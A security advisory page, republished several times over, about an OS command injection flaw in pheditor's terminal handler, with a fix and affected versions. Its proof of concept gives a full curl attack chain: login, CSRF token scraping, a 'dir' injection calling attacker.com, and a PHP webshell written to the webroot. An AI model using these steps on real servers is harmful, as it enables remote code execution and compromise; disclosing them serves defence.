### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server
### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server
Update pheditor/pheditor to 2.0.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter affects pheditor/pheditor (composer). Severity is critical. ### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server
AI coding agents often install or upgrade packages automatically in composer. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<=2.0.3 | 2.0.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pheditor/pheditor to 2.0.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter affects pheditor/pheditor (composer). Severity is critical. ### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server
AI coding agents often install or upgrade packages automatically in composer. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<=2.0.3 | 2.0.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard